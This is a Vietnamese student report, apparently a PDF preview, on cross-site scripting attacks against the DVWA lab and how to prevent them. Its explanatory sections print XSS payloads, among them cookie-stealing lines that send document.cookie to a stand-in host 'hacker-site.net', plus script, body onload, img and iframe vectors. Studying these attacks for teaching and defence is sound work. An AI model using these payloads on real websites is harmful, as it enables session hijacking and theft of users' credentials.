Tải bản đầy đủ (.pdf) (52 trang)

Nghiên cứu tim hiểu và triển khai mô phỏng tấn công XSS trên DVWA

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (1.62 MB, 52 trang )

HỌC VIỆN KỸ THUẬT MẬT MÃ
KHOA AN TỒN THƠNG TIN
--------

BÁO CÁO CƠ SỞ AN TỒN THƠNG TIN
ĐỀ TÀI:
NGHIÊN CỨU, TRIỂN KHAI TẤN CÔNG KHAI THÁC LỖ HỔNG
XSS TRÊN DVWA VÀ CÁCH PHÒNG CHỐNG.
Sinh viên thực hiện:

Lê Mạnh Thành

- AT160444

Bùi Thị Phương Duyên - AT160410

Trình độ, loại hình đào tạo:
Chuyên ngành:

Đại học chính quy
An tồn thơng tin

Mã lớp:

A1604

Khóa học:

2019 – 2023

Giảng viên hướng dẫn:



Ts. PHẠM DUY TRUNG

Hà Nội - 2022
1


LỜI CAM ĐOAN
Nhóm xin cam đoan những kết quả đạt được trong bài báo cáo này đều do
các thành viên tìm hiểu nghiên cứu, tổng hợp từ nhiều nguồn tài liệu và thực hiện.
Tất cả các tài liệu tham khảo, tổng hợp đều đã được trích dẫn với nguồn gốc rõ
ràng.
Thay mặt nhóm, em xin chịu hồn tồn trách nhiệm về lời cam đoan của
mình. Nếu có gì sai trái, thành viên nhóm xin chịu mọi hình thức kỷ luật theo qui
định.
Hà Nội, ngày 12 tháng 08 năm 2022

Người cam đoan
Lê Mạnh Thành
Bùi Thị Phương Duyên

i


LỜI CẢM ƠN
Nhóm mong muốn bày tỏ lịng biết ơn sâu sắc tới giảng viên Phạm Duy
Trung đã giúp đỡ trong quá trình làm luận văn, rất cảm ơn thầy đã tận tình chỉ
bảo chi tiết và cung cấp tài liệu cũng như đóng góp những lời nhận xét q báu
trong từng bước thực hiện. Đồng thời nhóm em cũng xin gửi lời cảm ơn tới các
thầy cô giáo khoa An tồn thơng tin – Học Viện Kỹ Thuật Mật Mã đã truyền đạt

các kiến thức nền tảng giúp tạo nguồn động lực to lớn trong suốt thời gian học
tập và nghiên cứu vừa qua.
Thay mặt nhóm xin gửi lời cảm ơn tới toàn thể bạn bè và người thân đã
chia sẻ, giúp đỡ, động viên tạo mọi điều kiện thuận lợi để nhóm hồn thành tốt
nhiệm vụ học tập và thực hiện báo cáo này.

ii


LỜI NÓI ĐẦU
Trong những năm gần đây cùng với sự bùng nổ của internet kèm theo đó là sự
phát triển của World Wide Web. Các doanh nghiệp, cá nhân, và chính phủ đã đưa
ra kết luận rằng các trang web hay các ứng dụng web có khả năng cung cấp đầy
đủ các giải pháp hiệu quả, đáng tin cậy và có thể giải quyết các thách thức về giao
tiếp và tiến hành thương mại hóa trong thê kỷ XX. Nhất là trong thời gian dịch
bệnh vừa rồi thì việc chuyển đổi công việc từ trực tiếp qua hình thức online trên
các trang web lại càng trở nên mạnh mẽ bởi sự tiện dụng và những ích lợi to lớn
mà nó mang lại. Tuy nhiên, đi kèm với sự tiện dụng thì về vấn đề an toàn của các
trang web hay các ứng dụng web đã trở nên ngày càng quan trọng và đáng để lưu
tâm. Các trang web về giáo dục, y tế, tài chính hay các dữ liệu nhạy cảm hơn bao
giờ hết đang phải đối mặt với nhiều nguy cơ bị tấn công từ các hacker. Tại Việt
Nam trong năm vừa qua cũng đã có rất nhiều cuộc tấn công với quy mô lớn bé
khác nhau nhắm vào các tổ chức doanh nghiệp làm ảnh hưởng không nhỏ đến tài
sản và uy tín của doanh nghiệp đó trên thị trường.
Nhiễu lỗ hổng trang web không được kiểm tra kỹ để điều khiển các ứng dụng
trên trang web là nguyên nhân để các hacker có thể dựa vào đó tấn cơng. Trong
số đó có một loại tấn cơng cực kì nguy hiểm mà các nhà bảo mật luôn cảnh báo
người dùng đó là tấn cơng Cross-Site Scripting (hay còn gọi là XSS). Ngồi ra
còn có một số dạng tấn công khác như: SQL Injection, Shell Injection, Script
language injection, File inclusion, XML injection, XPATH injection.v.v.

Trong báo cáo này nhóm xin phép tập trung trình bày về lỗ hổng bảo mật
liên quan đến tấn công Cross-Site Scripting, tương quan về các khái niệm, cách
thức kẻ tấn công hoạt động, hậu quả nặng nề mà nó đem đến cũng như cách để
phòng chống tấn công hiệu quả nhất.

iii


DANH MỤC CÁC TỪ NGỮ VIẾT TẮT
Từ viết tắt

Tiếng anh

Nghĩa tiếng Việt

XSS

Cross-site scripting

Tấn công gửi và chèn lệnh, script độc
hại

VBScript

Ngôn ngữ lập trình

Visual Basic Script

Thư viện dùng cho việc định nghĩa các


ActiveX

thành phần của phần mềm
HTML

Hypertext Markup

Ngôn ngữ lập trình dùng để xây dựng

Language

và cấu trúc lại các thành phần có trong
Website

URL

Uniform Resource

Địa chỉ của một tài nguyên duy nhất

Locator

trên Web
Cơ sở dữ liệu

CSDL
DOM

Document Object


1 dạng chuẩn của W3C đưa ra nhằm để

Model

truy xuất và thao tác dữ liệu của tài
liệu có cấu trúc như HTML

CSP

Chính sách bảo mật nội dung

Content Security
Policy

HTTP

Giao thức truyền tải siêu văn bản

HyperText Transfer
Protocol

PHP

Personal Home Page

ngơn ngữ lập trình kịch bản đa mục
đích

iv



DANH MỤC HÌNH VẼ
Hình 1.1

Người dùng tiến hành nhập đoạn script.

Hình 1.2

Đoạn script được thực thi cho ra kết quả trả về.

Hình 2.1

Mô hình tấn công reflected XSS.

Hình 2.2

Kịch bản của tấn công Reflected XSS.

Hình 2.3

Mô hình tấn công Stored XSS.

Hình 2.4

Mô phỏng Hacker chèn mã độc nguy hiểm.

Hình 2.5

Kết quả trả về khi thực thi đoạn mã độc.


Hình 2.6

Form đăng ký khi người dùng truy cập.

Hình 2.7

Form đăng ký khi được chèn mã script.

Hình 2.8

Kết quả trả về khi đoạn script được thực thi.

Hình 2.9

Mô hình một cuộc tấn công XSS đơn giản.

Hình 2.10

Mô phỏng quá trình ngăn chặn tấn công.

Hình 2.11

Session cookie bị lộ khi thực thi mã script.

Hình 2.12

Chiếm được cookie nạn nhân.

Hình 2.13


Thực hiện các hành động trái phép trên cookie nạn
nhân.

Hình 2.14

Đánh cắp thông tin đăng nhập của người dùng.

Hình 2.15

Nắm bắt các phím trên máy nạn nhân

v


MỤC LỤC
LỜI CAM ĐOAN................................................................................................... i
LỜI CẢM ƠN ....................................................................................................... ii
LỜI NÓI ĐẦU...................................................................................................... iii
DANH MỤC CÁC TỪ NGỮ VIẾT TẮT............................................................ iv
DANH MỤC HÌNH VẼ ........................................................................................ v
CHƯƠNG 1: TỔNG QUAN VỀ CUỘC TẤN CƠNG XSS ................................ 1
1.1.

Khái niệm phương pháp tấn cơng XSS ............................................. 1

1.2.

Cơ chế hoạt động của cuộc tấn công XSS ......................................... 1

1.2.1.


Bản chất của cuộc tấn công........................................................... 1

1.2.2.

Quá trình thực hiện tấn công ........................................................ 2

1.3.

Hình thức, hậu quả của các cuộc tấn công XSS ............................... 3

1.3.1.

Hình thức........................................................................................ 3

1.3.2.

Hậu quả .......................................................................................... 5

CHƯƠNG 2: PHÂN TÍCH TẤN CƠNG XSS ..................................................... 7
2.1. Phân loại các cuộc tấn công XSS ............................................................ 7
2.1.1. Reflected XSS ..................................................................................... 7
2.1.2. Stored XSS .......................................................................................... 9
2.1.3. DOM-based XSS ............................................................................... 13
2.1.4. Phân tích chi tiết một cuộc tấn công XSS ....................................... 15
2.1.5. Ví dụ về Vector tấn công Cross-site Scripting................................. 16
2.2.

Kiểm thử một cuộc tấn công XSS .................................................... 19


2.3.

Ngăn chặn tấn công XSS ................................................................... 21

2.3.1.

Data validation ............................................................................. 21

2.3.2.

Filtering ........................................................................................ 22

2.3.3.

Escaping ....................................................................................... 22

2.4.

Một số kịch bản thực tế cho các cuộc tấn công XSS ..................... 22

2.4.1.

Cướp session của người dùng ..................................................... 23

2.4.2.

Thực hiện các hoạt động trái phép.............................................. 26

2.4.3.


Đánh cắp thông tin đăng nhập của người dùng ........................ 28

2.4.4.

Nắm bắt các phím chính bằng cách tiêm Keylogger .................. 30

2.4.5.

Đánh cắp thơng tin nhạy cảm ..................................................... 32
vi


CHƯƠNG 3: THỰC NGHIỆM TRÊN DVWA ................................................. 36
3.1. Tấn công chèn mã script trên trang DVWA ....................................... 36
3.1.1. Tấn công XSS Reflected................................................................... 36
3.1.2. Tấn công XSS Stored ....................................................................... 39
3.2. Thực hiện hành vi lừa đảo người dùng bằng công cụ Beef ................ 40
KẾT LUẬN ......................................................................................................... 43
TÀI LIỆU THAM KHẢO ................................................................................... 44

vii


CHƯƠNG 1: TỔNG QUAN VỀ CUỘC TẤN CÔNG XSS
1.1.

Khái niệm phương pháp tấn công XSS
XSS là tên viết tắt của Cross-site scripting. Đây là một kiểu tấn công bảo

mật bằng mã độc phổ biến trong thời gian gần đây, trong đó kẻ tấn cơng sẽ lợi

dụng các lỗ hổng bảo mật để đưa các tập lệnh độc hại vào phần nội dung của các
trang web đáng tin cậy khác. Tấn công Cross-site scripting xảy ra khi một nguồn
không đáng tin cậy được phép đưa code của chính nó vào một ứng dụng web và
mã độc đó được bao gờm trong nội dung gửi đến trình duyệt của nạn nhân.
Bằng cách khai thác lỗ hổng XSS, kẻ tấn công không nhắm trực tiếp vào
nạn nhân. Thay vào đó, hacker sẽ tiến hành khai thác lỗ hổng trong trang web
hoặc ứng dụng web mà nạn nhân đang truy cập.
Mục đích chính của hacker khi thực hiện tấn cơng đó là ăn cắp dữ liệu nhận
dạng của người dùng như session tokens, cookies và các thông tin khác. Khi đăng
nhập vào được các tài khoản website, hacker có thể truy cập vào bất cứ dữ liệu
nào và tồn quyền kiểm sốt tất cả các chức năng và dữ liệu của ứng dụng.
Tấn công XSS là hình thức tấn công đơn giản nhưng đặc biệt nguy hiểm.
Đây cũng là kỹ thuật được hacker sử dụng phổ biến nhất trong thời điểm hiện nay.
1.2.

Cơ chế hoạt động của cuộc tấn công XSS

1.2.1. Bản chất của cuộc tấn công
Về cơ bản khi thực hiện tấn công Cross-site scripting thì hacker sẽ thực
hiện gửi chèn các lệnh và script độc hại, thường thì các mã script này được viết
bằng các ngơn ngữ lập trình phía client như VBScript, ActiveX và Flash (hiện
được coi là cũ hoặc thậm chí lỗi thời), nhưng phổ biến nhất vẫn là JavaScript chủ yếu vì JavaScript là nền tảng cho hầu hết các trải nghiệm duyệt web.
XSS hoạt động bằng cách điều khiển một trang web dễ bị tấn công để trả
về JavaScript độc hại cho người dùng. Khi mã độc được thực thi bên trong trình

1


duyệt, hacker hoàn toàn có thể xâm nhập vào tài khoản và sử dụng dữ liệu của
người dùng vào mục đích cá nhân.

1.2.2. Quá trình thực hiện tấn cơng
Để chạy được code JavaScript độc hại trong trình duyệt của nạn nhân, trước
tiên, kẻ tấn công phải tìm cách truyền payload vào trang web mà nạn nhân truy
cập. Tất nhiên, kẻ tấn cơng có thể sử dụng các kỹ tḥt social engineering để
thuyết phục người dùng truy cập trang đã bị tấn cơng đó.
Để một cuộc tấn cơng XSS diễn ra, trang web bị tấn công cần trực tiếp bao
gồm đầu vào của người dùng trong các trang của mình. Kẻ tấn cơng sau đó có thể
chèn một chuỗi sẽ được sử dụng trong trang web và được xử lý dưới dạng code
bởi trình duyệt nạn nhân.
Mã giả phía máy chủ (server-side pseudo-code) này được sử dụng để hiển
thị bình luận gần đây nhất trên trang web:
print
print
print
print

"<html>"
"

Most recent comment

"
database.latestComment
"</html>"

Tập lệnh sẽ in ra bình luận mới nhất từ cơ sở dữ liệu và in nội dung ra trang
HTML, giả sử rằng bình ḷn được in ra chỉ bao gờm phần văn bản.
Trang trên dễ bị tấn cơng bởi XSS vì kẻ tấn cơng có thể gửi nhận xét có
chứa payload độc hại, chẳng hạn như: <script>doSomethingEvil();</script>.
Người dùng truy cập trang web sẽ được hiển thị trang HTML sau:
<html>

Most recent comment


<script>doSomethingEvil();</script>
</html>


2


Khi trang load trong trình duyệt của nạn nhân, tập lệnh độc hại của kẻ tấn
công sẽ thực thi, mà người đó khơng hề hay biết và cũng khơng thể ngăn chặn
cuộc tấn công này.
Lưu ý: Lỗ hổng XSS chỉ có thể tờn tại nếu payload (tập lệnh độc hại) mà
kẻ tấn cơng chèn vào được phân tích (thành HTML như trong trường hợp trên)
trong trình duyệt của nạn nhân.
1.3.

Hình thức, hậu quả của các cuộc tấn công XSS

1.3.1. Hình thức
Tấn cơng XSS có thể diễn ra dưới nhiều hình thức khác nhau. Tuy nhiên các
hacker thường hay sử dụng những loại hình thức tấn cơng chính đó là:
 Cross Site Scripting có thể xảy ra trên tập lệnh độc hại được thực hiện ở
phía client.
 Trang web hoặc form giả mạo được hiển thị cho người dùng (nơi nạn nhân
nhập thông tin đăng nhập hoặc nhấp vào liên kết độc hại).
 Trên các trang web có quảng cáo được hiển thị.
 Email độc hại được gửi đến nạn nhân. Tấn cơng xảy ra khi tin tặc tìm kiếm
những lỗ hổng trên website và gửi nó làm đầu vào độc hại. Tập lệnh độc
hại được tiêm vào mã lệnh và sau đó được gửi dưới dạng đầu ra cho người
dùng cuối cùng.
Thử phân tích một ví dụ đơn giản để nhận biết: Giả sử có một trang web với
trường Search là trường có lỗ hổng và khi người dùng nhập bất kì đoạn script nào
vào thì đều được thực thi.
VD1: Người dùng tiến hành nhập đoạn script như hình 1.1 và sau khi ấn

“Search”, đoạn script được nhập sẽ được thực hiện như hình 1.2

3


Hình 1.1: Người dùng tiến hành nhập đoạn script

Hình 1.2: Đoạn script được thực thi cho ra kết quả trả về
Trong ví dụ trên, script đã nhập vào trường Search được thực thi. Điều này
chỉ cho thấy lỗ hổng của cuộc tấn cơng XSS. Tuy nhiên, một tập lệnh có hại hơn
cũng có thể được nhập. Nhiều Tester kết hợp tấn công Cross Site Scripting với
Javascript Injection, cũng đang được thực hiện ở phía client. Trong cả hai, các
script tấn công độc hại đang được tiêm. Tuy nhiên, trong trường hợp tấn công
XSS, các thẻ <script> không cần thiết để thực thi script.
VD2: Thử xem xét trong trường review nếu Hacker tiến hành nhập đoạn
mã code:
<script>destroyWebsite();</script>

Sau đó, hàm destroyWebsite() sẽ được gọi và nó sẽ thực hiện các hành động
có hại của nó. Về cơ bản, cuộc tấn cơng XSS chủ yếu được sử dụng để thu
thập cookie của người khác, có thể được sử dụng để đăng nhập bằng các
4


danh tính khác nhau. Tiếp theo hãy phân tích một ví dụ khác về kịch bản
XSS có thể có với hành vi trộm cắp cookie có thể xảy ra.
VD3: Thơng qua các lỗ hổng của website, tin tặc sẽ tiêm mã thích hợp.
**<script type=”text/javascript”>
Var test=’../example.php?cookie_data=’+escape(docuent.cookie);
</script>**

Trong ví dụ trên, cookie bị mất và được gửi tới biến ‘cookie_data’ của tập
lệnh mẫu example.php. Nếu hacker sẽ chèn tập lệnh này vào mã của trang web,
thì mã sẽ được thực thi trong trình duyệt của người dùng và cookie sẽ được gửi
tới hacker.
1.3.2. Hậu quả
Kẻ tấn công tiến hành khai thác lỗ hổng XSS trên nhiều trang web sẽ đem lại
hậu quả rất nặng nề:
 Mạo danh hoặc giả dạng người dùng của nạn nhân.
 Thực hiện bất kỳ hành động nào mà người dùng có thể thực hiện.
 Đọc bất kỳ dữ liệu nào mà người dùng có thể truy cập.
 Nắm bắt thông tin đăng nhập của người dùng.
 Thực hiện thay đổi bề mặt ảo của trang web.
 Chèn trojan độc hại vào trang web.
Đặc biệt trong thực tế một cuộc tấn công XSS diễn ra còn phụ thuộc vào bản chất
của ứng dụng, chức năng, dữ liệu cũng như trạng thái của người dùng bị xâm
phạm.
Ví dụ:
 Trong một ứng dụng brochureware, nơi tất cả người dùng đều xuất hiện ẩn
danh thì khi một cuộc tấn công XSS xảy ra nó có thể sẽ làm tất cả thơng tin
người dùng bị cơng khai. Từ đó dẫn đến lộ danh tính của người dùng.
5


 Trong một ứng dụng chứa các thông tin bảo mật như giao dịch ngân hàng,
email hoặc hồ sơ chăm sóc sức khỏe, tấn cơng XSS sẽ gây ra những hậu
quả nghiêm trọng về cả tài sản lẫn độ uy tín của doanh nghiệp.
 Nếu người dùng bị xâm phạm có các đặc quyền nâng cao trong ứng dụng,
thì sẽ ảnh hưởng rất nghiêm trọng. Cho phép hacker có toàn quyền kiểm
sốt ứng dụng dễ bị tấn cơng và xâm phạm tất cả người dùng và dữ liệu của
họ.


6


CHƯƠNG 2: PHÂN TÍCH TẤN CƠNG XSS
2.1. Phân loại các cuộc tấn cơng XSS
Có ba loại tấn cơng XSS chính thường thấy đó là:
 Reflected XSS
 Stored XSS
 DOM-based XSS
2.1.1. Reflected XSS
Reflected XSS là hình thức tấn công được sử dụng nhiều nhất. Đây là nơi
mã script độc hại đến từ HTTP request. Từ đó, hacker đánh cắp dữ liệu của người
dùng, chiếm quyền truy cập và hoạt động của họ trên website thông qua việc chia
sẻ URL chứa mã độc. Hình thức này thường nhắm đến một khối ít nạn nhân.

Hình 2.1: Mơ hình tấn cơng Reflected XSS
Có nhiều hướng để khai thác thông qua lỗi Reflected XSS, một trong
những cách được biết đến nhiều nhất là chiếm phiên làm việc (session) của
người dùng, từ đó có thể truy cập được dữ liệu và chiếm được quyền của
họ trên website. Chi tiết được mô tả qua những bước sau:

7


Kịch bản tấn cơng Reflected XSS.

Hình 2.2: Kịch bản của tấn công Reflected XSS
Chi tiết từng bước thực hiện:
 Người dùng đăng nhập web và giả sử được gán session:

Set-Cookie:
sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4
 Bằng cách nào đó, hacker gửi được cho người dùng URL:
/>er-site.net/”%2Bdocument.cookie;
Giả sử example.com là website nạn nhân truy cập, hacker-site.net là trang
của hacker tạo ra.
 Nạn nhân truy cập đến URL trên.
 Server phản hồi cho nạn nhân, kèm với dữ liệu có trong request (đoạn
javascript của hacker).
 Trình duyệt nạn nhân nhận phản hồi và thực thi đoạn javascript.
 Đoạn javascript mà hacker tạo ra thực tế như sau:

8


var i=new Image; i.src= +document.cookie;
Dòng lệnh trên bản chất thực hiện request đến site của hacker với tham số
là cookie người dùng:
GET
/sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4
HTTP/1.1
Host: hacker-site.net
 Từ phía site của mình, hacker sẽ bắt được nội dung request trên và coi
như session của người dùng sẽ bị chiếm. Đến lúc này, hacker có thể giả
mạo với tư cách nạn nhân và thực hiện mọi quyền trên website mà nạn
nhân có.

2.1.2. Stored XSS
Stored XSS là loại tấn công cross-site scripting gây thiệt hại nhiều nhất. Kẻ
tấn công truyền một tập lệnh - còn được gọi là payload - được lưu trữ vĩnh viễn

trên ứng dụng đích, chẳng hạn như cơ sở dữ liệu.
Ví dụ: kẻ tấn công chèn một đoạn mã độc trên blog, trong một bài đăng trên
diễn đàn hoặc trong trường bình luận.
Lúc này Payload XSS sẽ đóng vai trò như một phần của trang web khi nạn
nhân điều hướng đến trang web bị ảnh hưởng trong trình duyệt. Khi nạn nhân xem
trang trên trình duyệt sẽ vơ tình thực thi tập lệnh độc hại.

9


Hình 2.3: Mơ hình tấn cơng Stored XSS

Stored XSS khác với Reflected XSS, hình thức này nhắm đến nhiều nạn
nhân cùng lúc. Đây là nơi script độc hại đến từ cơ sở dữ liệu của trang web. Hacker
chèn các mã độc vào cơ sở dữ liệu thông qua các dữ liệu đầu vào như input,
form… Khi người dùng truy cập và tiến hành những thao tác liên quan đến dữ
liệu đã lưu thì mã độc sẽ lập tức hoạt động trên trình duyệt.
Với kỹ tḥt Stored XSS, hacker khơng khai thác trực tiếp mà phải thực
hiện tối thiểu qua 2 bước.
Bước đầu tiên hacker sẽ thông qua các điểm đầu vào (form, input,
textarea…) không được kiểm tra kỹ để chèn vào CSDL các đoạn mã nguy hiểm.

10


Hình 2.4: Mơ phỏng Hacker chèn mã độc nguy hiểm
Tiếp sau đó, khi mà người dùng truy cập vào ứng dụng web và thực hiện
các thao tác liên quan đến dữ liệu được lưu này, đoạn mã của hacker sẽ được
thực thi trên trình duyệt người dùng.


Hình 2.5: Kết quả trả về khi thực thi đoạn mã độc
Kịch bản khai thác:

11


Reflected XSS và Stored XSS có 2 sự khác biệt lớn trong q trình tấn cơng.
 Thứ nhất, để khai thác Reflected XSS, hacker phải lừa được nạn nhân truy
cập vào URL của mình. Còn Stored XSS không cần phải thực hiện việc
này, sau khi chèn được mã nguy hiểm vào CSDL của ứng dụng, hacker
chỉ việc ngồi chờ nạn nhân tự động truy cập vào. Với nạn nhân, việc này
là hoàn toàn bình thường vì họ khơng hề hay biết dữ liệu mình truy cập đã
bị nhiễm độc.
 Thứ hai, mục tiêu của hacker sẽ dễ dàng đạt được hơn nếu tại thời điểm
tấn công nạn nhân vẫn trong phiên làm việc(session) của ứng dụng web.
Với Reflected XSS, hacker có thể thút phục hay lừa nạn nhân đăng nhập
rời truy cập đến URL mà hắn ta cung cấp để thực thi mã độc. Nhưng Stored
XSS thì khác, vì mã độc đã được lưu trong CSDL Web nên bất cứ khi nào
người dùng truy cập các chức năng liên quan thì mã độc sẽ được thực thi,
và nhiều khả năng là những chức năng này yêu cầu phải xác thực (đăng
nhập) trước nên hiển nhiên trong thời gian này người dùng vẫn đang trong
phiên làm việc.
Từ những điều này có thể thấy Stored XSS nguy hiểm hơn Reflected XSS
rất nhiều, đối tượng bị ảnh hưởng có thế là tất cả nhưng người sử dụng ứng dụng
12


web đó. Và nếu nạn nhân có vai trị quản trị thì còn có nguy cơ bị chiếm quyền
điều khiển web.
2.1.3. DOM-based XSS

DOM-based XSS là một loại tấn công XSS nâng cao có thể thực hiện được
khi tập lệnh phía máy khách của ứng dụng web ghi dữ liệu do người dùng cung
cấp vào Document Object Model (DOM).
Sau đó, ứng dụng web sẽ đọc dữ liệu từ DOM và gửi nó đến trình duyệt.
Nếu dữ liệu khơng được xử lý chính xác, kẻ tấn cơng có thể đưa ra payload được
lưu trữ như một phần của DOM. Payload sau đó sẽ thực thi khi dữ liệu được đọc
lại từ DOM.
Khác với hai loại tấn công kể trên thì DOM-based XSS tiến hành khai thác
lỗ hổng bảo mật tồn tại trong mã phía client chứ khơng phải mã phía server. Hình
thức này dùng để khai thác XSS dựa vào việc thay đổi HTML của tài liệu, hay nói
cách khác là thay đổi cấu trúc DOM.
Phân tích cụ thể một ví dụ:
Một website có URL đến trang đăng ký như sau:
fill in the form
Khi truy cập đến thì chúng ta thấy một Form rất bình thường:

Hình 2.6: Form đăng ký khi người dùng truy cập

13


Thay vì truyền

message=Please fill in the form

thì truyền
message=<label>Gender</label>
<select class = "form-control" onchange="java_script_:show()">value="Male">Male</option>value="Female">Female</option></select>

<script>function show(){alert();}</script>
Khi đấy form đăng ký sẽ trở thành như thế này:

Hình 2.7: Form đăng ký khi được chèn mã script
Người dùng sẽ chẳng chút nghi ngờ với một form “bình thường” như thế này,
và khi lựa chọn giới tính, Script sẽ được thực thi:

Hình 2.8: Kết quả trả về khi đoạn script được thực thi
Đây là một kiểu tấn công nguy hiểm và rất dễ xảy ra do hacker hướng đến mục
tiêu là máy bên phía client chứ không phải là tấn công từ bên server. Với lượng
kiến thức hạn chế trong phòng chống các cuộc tấn công và sự thiếu cảnh giác từ
người dùng nên đây sẽ là mục tiêu được kẻ tấn công cực kì yêu thích hướng đến.
14


Kết ḷn:
Nhìn chung ở ba kiểu tấn cơng có thể thấy mục đích mà hacker muốn nhắm
đến chính là việc chiếm đoạt các phiên làm việc của người dùng, truy cập được
vào cơ sở dữ liệu và chiếm quyền của nạn nhân trên webite. Ở mỗi kiểu tấn cơng
có thể nhận thấy sự khác biệt ở kĩ thuật, cách triển khai cũng như nạn nhân mà kẻ
tấn công muốn cùng lúc nhắm tới.
Mặt khác, nhìn về độ nguy hiểm và phổ biến của các cuộc tấn cơng XSS có
thể sẽ tạo nên cảm giác thiếu tin cậy và mất an toàn khi người dùng truy cập vào
các website. Tuy nhiên, XSS nguy hiểm nhưng cũng rất dễ để nhận biết và có thể
đưa ra phương án phòng chống một cách hợp lí.
2.1.4. Phân tích chi tiết mợt c̣c tấn cơng XSS
Về cơ bản khi thực hiện một cuộc tấn công XSS cần có sự góp mặt của ba
nhân tố khơng thể thiếu đó là trang web, nạn nhân và kẻ tấn cơng.
Lấy ví dụ như bên dưới, có thể giả định rằng mục tiêu của kẻ tấn công là
mạo danh nạn nhân bằng cách ăn cắp cookie của người đó. Việc gửi cookie đến

máy chủ của kẻ tấn cơng có thể thực hiện bằng nhiều cách khác nhau. Một trong
số đó là để kẻ tấn cơng thực thi code JavaScript sau trong trình duyệt của nạn nhân
thơng qua lỗ hổng XSS.
<script>
window.location=“ + document.cookie
</script>

Minh họa một cuộc tấn công XSS đơn giản:

15


Hình 2.9: Mơ hình một cuộc tấn cơng XSS đơn giản
Các bước khi hacker tiến hành một cuộc tấn công:
 Kẻ tấn công truyền một payload vào cơ sở dữ liệu của trang web bằng cách
gửi một biểu mẫu kèm theo một số JavaScript độc hại.
 Nạn nhân gửi yêu cầu đến trang web.
 Trang web hiển thị trên trình duyệt của nạn nhân với một phần nội dung
HTML chứa payload của kẻ tấn công.
 Trình duyệt của nạn nhân sẽ thực thi tập lệnh độc hại bên trong HTML.
Trong trường hợp này, nó sẽ gửi cookie của nạn nhân đến máy chủ của kẻ
tấn công. Kẻ tấn công bây giờ chỉ cần trích xuất cookie của nạn nhân khi
yêu cầu HTTP chuyển đến máy chủ, sau đó kẻ tấn cơng có thể sử dụng
cookie đánh cắp được để mạo danh nạn nhân.
2.1.5. Ví dụ về Vector tấn công Cross-site Scripting
Các vector tấn cơng XSS mà kẻ tấn cơng có thể sử dụng để xâm phạm bảo
mật của trang web hoặc ứng dụng web thông qua một cuộc tấn công XSS có thể
gói gọn như sau:
Thẻ <script>:
<!-- External script -->


16


<script src= /><!-- Embedded script -->
<script> alert("XSS"); </script>

Thẻ <script> là payload XSS đơn giản nhất. Thẻ script có thể tham chiếu
code JavaScript bên ngoài hoặc nhúng code trong thẻ script.
Thẻ <body>:
<!-- onload attribute -->
<body onload=alert("XSS")>
<!-- background attribute -->
<body background="javascript:alert("XSS")">

Payload XSS có thể được phân phối bên trong thẻ <body> bằng cách sử
dụng thuộc tính onload hoặc các thuộc tính khác như thuộc tính background.
Thẻ <img>:

<img src="javascript:alert("XSS");">
<!-- tag XSS using lesser-known attributes -->
<img dynsrc="javascript:alert('XSS')">
<img lowsrc="javascript:alert('XSS')">

Một số trình duyệt sẽ thực thi JavaScript được tìm thấy trong <img>.
Thẻ <iframe>:

<iframe src=” />
Thẻ <iframe> cho phép nhúng một trang HTML khác vào trang ng̀n. Tuy
nhiên, iFrame có thể chứa JavaScript. Điều quan trọng cần lưu ý là JavaScript

trong iFrame khơng có quyền truy cập vào DOM của trang ng̀n do chính sách
bảo mật nội dung (Content Security Policy - CSP) của trình duyệt. Tuy nhiên,
iFrames vẫn là phương tiện rất hiệu quả để loại bỏ các cuộc tấn công Phishing.
17


×